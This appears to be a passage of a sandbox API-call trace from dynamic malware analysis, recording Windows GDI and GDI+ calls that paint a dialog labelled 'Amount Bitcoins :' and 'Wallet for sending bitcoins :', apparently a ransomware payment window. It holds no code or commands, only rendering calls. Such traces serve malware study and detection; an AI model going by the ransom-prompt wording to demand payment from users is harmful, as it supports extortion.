[0283.018] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028c, Msg=0x85, wParam=0x17040b48, lParam=0x0) returned 0x0
[0283.018] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028e, Msg=0x85, wParam=0x18040b48, lParam=0x0) returned 0x0
[0283.018] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0x85, wParam=0x19040b48, lParam=0x0) returned 0x0
[0283.019] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0x85, wParam=0x1a040b48, lParam=0x0) returned 0x0
[0283.019] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20284, Msg=0x85, wParam=0x1b040b48, lParam=0x0) returned 0x0
[0283.020] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20286, Msg=0x85, wParam=0x1c040b48, lParam=0x0) returned 0x0
[0283.020] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x20280, Msg=0x85, wParam=0x1d040b48, lParam=0x0) returned 0x1
[0283.021] SetTextColor (hdc=0x2010b40, color=0xffffff) returned 0x0
[0283.021] SetBkColor (hdc=0x2010b40, color=0x80) returned 0xffffff
[0283.021] CreateSolidBrush (color=0x80) returned 0x1b100b5e
[0283.093] GetWindowTextLengthW (hWnd=0x20284) returned 17
[0283.095] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20284, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x11
[0283.096] GetSystemMetrics (nIndex=42) returned 0
[0283.096] GetWindowTextW (in: hWnd=0x20284, lpString=0x2ed940, nMaxCount=18 | out: lpString="Amount Bitcoins :") returned 17
[0283.097] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20284, Msg=0xd, wParam=0x12, lParam=0x2ed940) returned 0x11
[0283.098] GetClientRect (in: hWnd=0x20284, lpRect=0x2edb08 | out: lpRect=0x2edb08) returned 1
[0283.100] GetCurrentObject (hdc=0x7010b4c, type=0x1) returned 0x1b00017
[0283.100] GetCurrentObject (hdc=0x7010b4c, type=0x2) returned 0x1900010
[0283.100] GetCurrentObject (hdc=0x7010b4c, type=0x7) returned 0x6050b85
[0283.100] GetCurrentObject (hdc=0x7010b4c, type=0x6) returned 0x18a002e
[0283.102] SaveDC (hdc=0x7010b4c) returned 1
[0283.102] GetNearestColor (hdc=0x7010b4c, color=0x80) returned 0x80
[0283.102] CreateSolidBrush (color=0x80) returned 0x1100b88
[0283.103] FillRect (hDC=0x7010b4c, lprc=0x2ed7f8, hbr=0x1100b88) returned 1
[0283.103] DeleteObject (ho=0x1100b88) returned 1
[0283.103] RestoreDC (hdc=0x7010b4c, nSavedDC=-1) returned 1
[0283.104] GetWindowTextLengthW (hWnd=0x20284) returned 17
[0283.104] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20284, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x11
[0283.104] GetSystemMetrics (nIndex=42) returned 0
[0283.104] GetWindowTextW (in: hWnd=0x20284, lpString=0x2ed940, nMaxCount=18 | out: lpString="Amount Bitcoins :") returned 17
[0283.104] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20284, Msg=0xd, wParam=0x12, lParam=0x2ed940) returned 0x11
[0283.105] IsAppThemed () returned 0x1
[0283.105] GetThemeAppProperties () returned 0x3
[0283.105] GetThemeAppProperties () returned 0x3
[0283.106] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x2eda18, fWinIni=0x0 | out: pvParam=0x2eda18) returned 1
[0283.106] SendMessageW (hWnd=0x4015e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0
[0283.106] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0
[0283.112] GdipCreateHalftonePalette () returned 0x3080b87
[0283.113] SelectPalette (hdc=0x7010b4c, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0283.113] GdipCreateFromHDC (hdc=0x7010b4c, graphics=0x2ed9e8) returned 0x0
[0283.116] VirtualQuery (in: lpAddress=0x7fe9401c080, lpBuffer=0x2ed180, dwLength=0x30 | out: lpBuffer=0x2ed180*(BaseAddress=0x7fe9401c000, AllocationBase=0x7fe94010000, AllocationProtect=0x1, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x40, Type=0x20000, __alignment2=0x0)) returned 0x30
[0283.117] GdipSetPageUnit (graphics=0x1c5a8050, unit=0x2) returned 0x0
[0283.119] GdipCreateMatrix (matrix=0x2ed8e0) returned 0x0
[0283.119] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0283.120] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed948) returned 0x0
[0283.120] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0283.121] GdipCreateRegion (region=0x2ed8e0) returned 0x0
[0283.121] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0283.121] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed940) returned 0x0
[0283.121] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0283.121] GdipSaveGraphics (graphics=0x1c5a8050, state=0x2ed9e0) returned 0x0
[0283.148] IsAppThemed () returned 0x1
[0283.148] GetThemeAppProperties () returned 0x3
[0283.149] GetThemeAppProperties () returned 0x3
[0283.149] IsAppThemed () returned 0x1
[0283.149] GetThemeAppProperties () returned 0x3
[0283.149] GetThemeAppProperties () returned 0x3
[0283.149] IsThemePartDefined () returned 0x1
[0283.151] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2ed7d8) returned 0x0
[0283.151] GdipCreateRegion (region=0x2ed650) returned 0x0
[0283.151] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0283.151] GdipCreateMatrix (matrix=0x2ed650) returned 0x0
[0283.152] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0283.152] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed6b8) returned 0x0
[0283.152] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x27eb7de0
[0283.152] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x27eb7de0) returned 0x0
[0283.153] LocalFree (hMem=0x27eb7de0) returned 0x0
[0283.153] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0283.153] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed720) returned 0x0
[0283.153] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0283.153] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed728) returned 0x0
[0283.153] GetCurrentObject (hdc=0x7010b4c, type=0x1) returned 0x1b00017
[0283.153] GetCurrentObject (hdc=0x7010b4c, type=0x2) returned 0x1900010
[0283.153] GetCurrentObject (hdc=0x7010b4c, type=0x7) returned 0x6050b85
[0283.153] GetCurrentObject (hdc=0x7010b4c, type=0x6) returned 0x18a002e
[0283.154] SaveDC (hdc=0x7010b4c) returned 1
[0283.154] OffsetViewportOrgEx (in: hdc=0x7010b4c, x=0, y=0, lppt=0x2854a00 | out: lppt=0x2854a00) returned 1
[0283.154] GdipGetFamilyName (in: family=0x1c4d9970, name=0x2ed5b0, language=0x409 | out: name="Tahoma") returned 0x0
[0283.155] GetDeviceCaps (hdc=0xd010a02, index=90) returned 96
[0283.155] CoTaskMemAlloc (cb=0x5c) returned 0x1aca22d0
[0283.155] CreateFontIndirectW (lplf=0x1aca22d0) returned 0x50a0b98
[0283.156] CoTaskMemFree (pv=0x1aca22d0)
[0283.156] GetObjectW (in: h=0x50a0b98, c=92, pv=0x2ed5c0 | out: pv=0x2ed5c0) returned 92
[0283.157] SelectObject (hdc=0xd010a02, h=0x50a0b98) returned 0x1a0a0256
[0283.157] GetMapMode (hdc=0xd010a02) returned 1
[0283.157] GetTextMetricsW (in: hdc=0xd010a02, lptm=0x2ed620 | out: lptm=0x2ed620) returned 1
[0283.158] GetCurrentObject (hdc=0x7010b4c, type=0x6) returned 0x18a002e
[0283.158] GetObjectW (in: h=0x18a002e, c=92, pv=0x2ed520 | out: pv=0x2ed520) returned 92
[0283.158] SelectObject (hdc=0x7010b4c, h=0x50a0b98) returned 0x18a002e
[0283.158] DrawTextExW (in: hdc=0x7010b4c, lpchText="Amount Bitcoins :", cchText=17, lprc=0x2ed7d8, format=0x102410, lpdtp=0x2854be0 | out: lpchText="Amount Bitcoins :", lprc=0x2ed7d8) returned 14
[0283.173] RestoreDC (hdc=0x7010b4c, nSavedDC=-1) returned 1
[0283.174] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x7010b4c) returned 0x0
[0283.174] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2ed7a8) returned 0x0
[0283.174] GdipCreateRegion (region=0x2ed620) returned 0x0
[0283.174] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0283.174] GdipCreateMatrix (matrix=0x2ed620) returned 0x0
[0283.174] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0283.174] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed688) returned 0x0
[0283.174] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x27eb7de0
[0283.174] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x27eb7de0) returned 0x0
[0283.175] LocalFree (hMem=0x27eb7de0) returned 0x0
[0283.175] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0283.175] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6f0) returned 0x0
[0283.175] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0283.175] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6f8) returned 0x0
[0283.175] GetCurrentObject (hdc=0x7010b4c, type=0x1) returned 0x1b00017
[0283.175] GetCurrentObject (hdc=0x7010b4c, type=0x2) returned 0x1900010
[0283.175] GetCurrentObject (hdc=0x7010b4c, type=0x7) returned 0x6050b85
[0283.175] GetCurrentObject (hdc=0x7010b4c, type=0x6) returned 0x18a002e
[0283.175] SaveDC (hdc=0x7010b4c) returned 1
[0283.175] OffsetViewportOrgEx (in: hdc=0x7010b4c, x=0, y=0, lppt=0x2854fe0 | out: lppt=0x2854fe0) returned 1
[0283.179] GetTextAlign (hdc=0x7010b4c) returned 0x0
[0283.206] GetTextColor (hdc=0x7010b4c) returned 0x0
[0283.254] SetTextColor (hdc=0x7010b4c, color=0xffff) returned 0x0
[0283.254] GetCurrentObject (hdc=0x7010b4c, type=0x6) returned 0x18a002e
[0283.254] GetObjectW (in: h=0x18a002e, c=92, pv=0x2ed2c0 | out: pv=0x2ed2c0) returned 92
[0283.254] SelectObject (hdc=0x7010b4c, h=0x50a0b98) returned 0x18a002e
[0283.256] GetBkMode (hdc=0x7010b4c) returned 2
[0283.258] SetBkMode (hdc=0x7010b4c, mode=1) returned 2
[0283.258] DrawTextExW (in: hdc=0x7010b4c, lpchText="Amount Bitcoins :", cchText=17, lprc=0x2ed718, format=0x102010, lpdtp=0x28551e0 | out: lpchText="Amount Bitcoins :", lprc=0x2ed718) returned 14
[0283.259] RestoreDC (hdc=0x7010b4c, nSavedDC=-1) returned 1
[0283.260] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x7010b4c) returned 0x0
[0283.260] GetDC (hWnd=0x0) returned 0x2010a5c
[0283.260] GdipCreateFromHDC (hdc=0x2010a5c, graphics=0x2ed7c8) returned 0x0
[0283.261] GdipGetFontHeight (font=0x1c5af190, graphics=0x1cb7c2b0, height=0x2ed7c4) returned 0x0
[0283.261] GdipDeleteGraphics (graphics=0x1cb7c2b0) returned 0x0
[0283.261] ReleaseDC (hWnd=0x0, hDC=0x2010a5c) returned 1
[0283.261] GetDC (hWnd=0x0) returned 0x2010a5c
[0283.261] GdipCreateFromHDC (hdc=0x2010a5c, graphics=0x2ed7c8) returned 0x0
[0283.261] GdipGetFontHeight (font=0x1c5af190, graphics=0x1cb7c2b0, height=0x2ed7c4) returned 0x0
[0283.261] GdipDeleteGraphics (graphics=0x1cb7c2b0) returned 0x0
[0283.261] ReleaseDC (hWnd=0x0, hDC=0x2010a5c) returned 1
[0283.261] GdipCreateRegion (region=0x2ed610) returned 0x0
[0283.261] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0283.262] GdipCreateMatrix (matrix=0x2ed610) returned 0x0
[0283.262] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0283.262] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed678) returned 0x0
[0283.262] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x27eb7de0
[0283.262] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x27eb7de0) returned 0x0
[0283.262] LocalFree (hMem=0x27eb7de0) returned 0x0
[0283.262] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0283.262] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6e0) returned 0x0
[0283.262] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0283.262] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6e8) returned 0x0
[0283.262] GetCurrentObject (hdc=0x7010b4c, type=0x1) returned 0x1b00017
[0283.262] GetCurrentObject (hdc=0x7010b4c, type=0x2) returned 0x1900010
[0283.262] GetCurrentObject (hdc=0x7010b4c, type=0x7) returned 0x6050b85
[0283.263] GetCurrentObject (hdc=0x7010b4c, type=0x6) returned 0x18a002e
[0283.263] SaveDC (hdc=0x7010b4c) returned 1
[0283.263] OffsetViewportOrgEx (in: hdc=0x7010b4c, x=0, y=0, lppt=0x28555c8 | out: lppt=0x28555c8) returned 1
[0283.263] IsAppThemed () returned 0x1
[0283.263] GetThemeAppProperties () returned 0x3
[0283.263] GetThemeAppProperties () returned 0x3
[0283.264] DrawThemeBackground () returned 0x0
[0283.264] RestoreDC (hdc=0x7010b4c, nSavedDC=-1) returned 1
[0283.264] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x7010b4c) returned 0x0
[0283.265] GdipCreateRegion (region=0x2ed610) returned 0x0
[0283.265] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0283.265] GdipCreateMatrix (matrix=0x2ed610) returned 0x0
[0283.265] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0283.265] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed678) returned 0x0
[0283.265] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x27eb7de0
[0283.265] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x27eb7de0) returned 0x0
[0283.265] LocalFree (hMem=0x27eb7de0) returned 0x0
[0283.265] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0283.265] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6e0) returned 0x0
[0283.265] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0283.265] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6e8) returned 0x0
[0283.265] GetCurrentObject (hdc=0x7010b4c, type=0x1) returned 0x1b00017
[0283.265] GetCurrentObject (hdc=0x7010b4c, type=0x2) returned 0x1900010
[0283.266] GetCurrentObject (hdc=0x7010b4c, type=0x7) returned 0x6050b85
[0283.266] GetCurrentObject (hdc=0x7010b4c, type=0x6) returned 0x18a002e
[0283.266] SaveDC (hdc=0x7010b4c) returned 1
[0283.266] OffsetViewportOrgEx (in: hdc=0x7010b4c, x=0, y=0, lppt=0x2855a20 | out: lppt=0x2855a20) returned 1
[0283.266] IsAppThemed () returned 0x1
[0283.266] GetThemeAppProperties () returned 0x3
[0283.266] GetThemeAppProperties () returned 0x3
[0283.266] DrawThemeBackground () returned 0x0
[0283.266] RestoreDC (hdc=0x7010b4c, nSavedDC=-1) returned 1
[0283.266] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x7010b4c) returned 0x0
[0283.266] GdipCreateRegion (region=0x2ed610) returned 0x0
[0283.266] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0283.266] GdipCreateMatrix (matrix=0x2ed610) returned 0x0
[0283.266] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0283.266] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed678) returned 0x0
[0283.266] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x27eb7de0
[0283.266] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x27eb7de0) returned 0x0
[0283.267] LocalFree (hMem=0x27eb7de0) returned 0x0
[0283.267] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0283.267] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6e0) returned 0x0
[0283.267] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0283.267] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6e8) returned 0x0
[0283.267] GetCurrentObject (hdc=0x7010b4c, type=0x1) returned 0x1b00017
[0283.267] GetCurrentObject (hdc=0x7010b4c, type=0x2) returned 0x1900010
[0283.267] GetCurrentObject (hdc=0x7010b4c, type=0x7) returned 0x6050b85
[0283.267] GetCurrentObject (hdc=0x7010b4c, type=0x6) returned 0x18a002e
[0283.267] SaveDC (hdc=0x7010b4c) returned 1
[0283.267] OffsetViewportOrgEx (in: hdc=0x7010b4c, x=0, y=0, lppt=0x2855e78 | out: lppt=0x2855e78) returned 1
[0283.267] IsAppThemed () returned 0x1
[0283.267] GetThemeAppProperties () returned 0x3
[0283.267] GetThemeAppProperties () returned 0x3
[0283.267] DrawThemeBackground () returned 0x0
[0283.268] RestoreDC (hdc=0x7010b4c, nSavedDC=-1) returned 1
[0283.268] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x7010b4c) returned 0x0
[0283.269] GdipDeleteGraphics (graphics=0x1c5a8050) returned 0x0
[0283.269] SelectPalette (hdc=0x7010b4c, hPal=0x188000b, bForceBkgd=0) returned 0x3080b87
[0283.271] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x20280, Msg=0x14, wParam=0x2010b40, lParam=0x0) returned 0x1
[0283.271] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0x85, wParam=0x1e040b48, lParam=0x0) returned 0x0
[0283.272] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2029a, Msg=0x85, wParam=0x1f040b48, lParam=0x0) returned 0x0
[0283.272] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2029a, Msg=0x14, wParam=0x2010a5c, lParam=0x0) returned 0x1
[0283.272] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2029c, Msg=0x85, wParam=0x20040b48, lParam=0x0) returned 0x1
[0283.273] SetTextColor (hdc=0x1010a48, color=0xffffff) returned 0x0
[0283.273] SetBkColor (hdc=0x1010a48, color=0x80) returned 0xffffff
[0283.273] CreateSolidBrush (color=0x80) returned 0x2100b88
[0283.275] GetWindowTextLengthW (hWnd=0x20282) returned 29
[0283.275] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1d
[0283.275] GetSystemMetrics (nIndex=42) returned 0
[0283.275] GetWindowTextW (in: hWnd=0x20282, lpString=0x2ed930, nMaxCount=30 | out: lpString="Wallet for sending bitcoins :") returned 29
[0283.275] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0xd, wParam=0x1e, lParam=0x2ed930) returned 0x1d
[0283.275] GetClientRect (in: hWnd=0x20282, lpRect=0x2edb08 | out: lpRect=0x2edb08) returned 1
[0283.275] GetCurrentObject (hdc=0x8010b4c, type=0x1) returned 0x1b00017
[0283.275] GetCurrentObject (hdc=0x8010b4c, type=0x2) returned 0x1900010
[0283.275] GetCurrentObject (hdc=0x8010b4c, type=0x7) returned 0x6050b85
[0283.275] GetCurrentObject (hdc=0x8010b4c, type=0x6) returned 0x18a002e
[0283.276] SaveDC (hdc=0x8010b4c) returned 1
[0283.276] GetNearestColor (hdc=0x8010b4c, color=0x80) returned 0x80
[0283.276] CreateSolidBrush (color=0x80) returned 0x5100a97
[0283.276] FillRect (hDC=0x8010b4c, lprc=0x2ed7f8, hbr=0x5100a97) returned 1
[0283.276] DeleteObject (ho=0x5100a97) returned 1
[0283.276] RestoreDC (hdc=0x8010b4c, nSavedDC=-1) returned 1
[0283.276] GetWindowTextLengthW (hWnd=0x20282) returned 29
[0283.276] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1d
[0283.276] GetSystemMetrics (nIndex=42) returned 0
[0283.276] GetWindowTextW (in: hWnd=0x20282, lpString=0x2ed930, nMaxCount=30 | out: lpString="Wallet for sending bitcoins :") returned 29
[0283.276] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0xd, wParam=0x1e, lParam=0x2ed930) returned 0x1d
[0283.276] IsAppThemed () returned 0x1
[0283.276] GetThemeAppProperties () returned 0x3
[0283.277] GetThemeAppProperties () returned 0x3
[0283.277] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x2eda18, fWinIni=0x0 | out: pvParam=0x2eda18) returned 1
[0283.277] SendMessageW (hWnd=0x4015e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0
[0283.277] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0
[0283.277] SelectPalette (hdc=0x8010b4c, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0283.277] GdipCreateFromHDC (hdc=0x8010b4c, graphics=0x2ed9e8) returned 0x0
[0283.277] GdipSetPageUnit (graphics=0x1c5a8050, unit=0x2) returned 0x0
[0283.277] GdipCreateMatrix (matrix=0x2ed8e0) returned 0x0
[0283.277] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0283.277] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed948) returned 0x0
[0283.277] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0283.277] GdipCreateRegion (region=0x2ed8e0) returned 0x0
[0283.278] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0283.278] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed940) returned 0x0
[0283.278] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0283.278] GdipSaveGraphics (graphics=0x1c5a8050, state=0x2ed9e0) returned 0x0
[0283.278] IsAppThemed () returned 0x1
[0283.278] GetThemeAppProperties () returned 0x3
[0283.278] GetThemeAppProperties () returned 0x3
[0283.278] IsAppThemed () returned 0x1
[0283.278] GetThemeAppProperties () returned 0x3
[0283.278] GetThemeAppProperties () returned 0x3
[0283.278] IsThemePartDefined () returned 0x1
[0283.278] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2ed7d8) returned 0x0
[0283.278] GdipCreateRegion (region=0x2ed650) returned 0x0
[0283.278] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0283.278] GdipCreateMatrix (matrix=0x2ed650) returned 0x0
[0283.278] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0283.278] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed6b8) returned 0x0
[0283.278] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x27eb7de0
[0283.278] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x27eb7de0) returned 0x0
[0283.279] LocalFree (hMem=0x27eb7de0) returned 0x0
[0283.279] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0283.279] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed720) returned 0x0
[0283.279] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0283.279] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed728) returned 0x0
[0283.279] GetCurrentObject (hdc=0x8010b4c, type=0x1) returned 0x1b00017
[0283.279] GetCurrentObject (hdc=0x8010b4c, type=0x2) returned 0x1900010
[0283.279] GetCurrentObject (hdc=0x8010b4c, type=0x7) returned 0x6050b85
[0283.279] GetCurrentObject (hdc=0x8010b4c, type=0x6) returned 0x18a002e
[0283.279] SaveDC (hdc=0x8010b4c) returned 1
[0283.279] OffsetViewportOrgEx (in: hdc=0x8010b4c, x=0, y=0, lppt=0x2856d68 | out: lppt=0x2856d68) returned 1
[0283.279] GetCurrentObject (hdc=0x8010b4c, type=0x6) returned 0x18a002e
[0283.280] GetObjectW (in: h=0x18a002e, c=92, pv=0x2ed520 | out: pv=0x2ed520) returned 92
[0283.280] SelectObject (hdc=0x8010b4c, h=0x50a0b98) returned 0x18a002e
[0283.280] DrawTextExW (in: hdc=0x8010b4c, lpchText="Wallet for sending bitcoins :", cchText=29, lprc=0x2ed7d8, format=0x102410, lpdtp=0x2856d80 | out: lpchText="Wallet for sending bitcoins :", lprc=0x2ed7d8) returned 14
[0283.280] RestoreDC (hdc=0x8010b4c, nSavedDC=-1) returned 1
[0283.280] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x8010b4c) returned 0x0
[0283.280] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2ed7a8) returned 0x0
[0283.281] GdipCreateRegion (region=0x2ed620) returned 0x0
[0283.281] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0283.281] GdipCreateMatrix (matrix=0x2ed620) returned 0x0
[0283.281] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0283.281] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed688) returned 0x0
[0283.281] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x27eb7de0
[0283.281] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x27eb7de0) returned 0x0
[0283.281] LocalFree (hMem=0x27eb7de0) returned 0x0
[0283.281] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0283.281] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6f0) returned 0x0
[0283.281] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0283.281] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6f8) returned 0x0
[0283.281] GetCurrentObject (hdc=0x8010b4c, type=0x1) returned 0x1b00017
[0283.281] GetCurrentObject (hdc=0x8010b4c, type=0x2) returned 0x1900010
[0283.282] GetCurrentObject (hdc=0x8010b4c, type=0x7) returned 0x6050b85
[0283.282] GetCurrentObject (hdc=0x8010b4c, type=0x6) returned 0x18a002e
[0283.282] SaveDC (hdc=0x8010b4c) returned 1
[0283.282] OffsetViewportOrgEx (in: hdc=0x8010b4c, x=0, y=0, lppt=0x2857180 | out: lppt=0x2857180) returned 1
[0283.282] GetTextAlign (hdc=0x8010b4c) returned 0x0
[0283.282] GetTextColor (hdc=0x8010b4c) returned 0x0
[0283.282] SetTextColor (hdc=0x8010b4c, color=0xffff) returned 0x0
[0283.282] GetCurrentObject (hdc=0x8010b4c, type=0x6) returned 0x18a002e
[0283.282] GetObjectW (in: h=0x18a002e, c=92, pv=0x2ed2c0 | out: pv=0x2ed2c0) returned 92
[0283.283] SelectObject (hdc=0x8010b4c, h=0x50a0b98) returned 0x18a002e
[0283.283] GetBkMode (hdc=0x8010b4c) returned 2
[0283.283] SetBkMode (hdc=0x8010b4c, mode=1) returned 2
[0283.283] DrawTextExW (in: hdc=0x8010b4c, lpchText="Wallet for sending bitcoins :", cchText=29, lprc=0x2ed718, format=0x102010, lpdtp=0x2857380 | out: lpchText="Wallet for sending bitcoins :", lprc=0x2ed718) returned 14
[0283.284] RestoreDC (hdc=0x8010b4c, nSavedDC=-1) returned 1
[0283.284] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x8010b4c) returned 0x0
[0283.284] GetDC (hWnd=0x0) returned 0x2010a5c
[0283.284] GdipCreateFromHDC (hdc=0x2010a5c, graphics=0x2ed7c8) returned 0x0
[0283.284] GdipGetFontHeight (font=0x1c5af010, graphics=0x1cb7c2b0, height=0x2ed7c4) returned 0x0
[0283.284] GdipDeleteGraphics (graphics=0x1cb7c2b0) returned 0x0
[0283.284] ReleaseDC (hWnd=0x0, hDC=0x2010a5c) returned 1
[0283.284] GetDC (hWnd=0x0) returned 0x2010a5c
[0283.284] GdipCreateFromHDC (hdc=0x2010a5c, graphics=0x2ed7c8) returned 0x0
[0283.284] GdipGetFontHeight (font=0x1c5af010, graphics=0x1cb7c2b0, height=0x2ed7c4) returned 0x0
[0283.284] GdipDeleteGraphics (graphics=0x1cb7c2b0) returned 0x0
[0283.285] ReleaseDC (hWnd=0x0, hDC=0x2010a5c) returned 1
[0283.285] GdipCreateRegion (region=0x2ed610) returned 0x0
[0283.285] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0283.285] GdipCreateMatrix (matrix=0x2ed610) returned 0x0
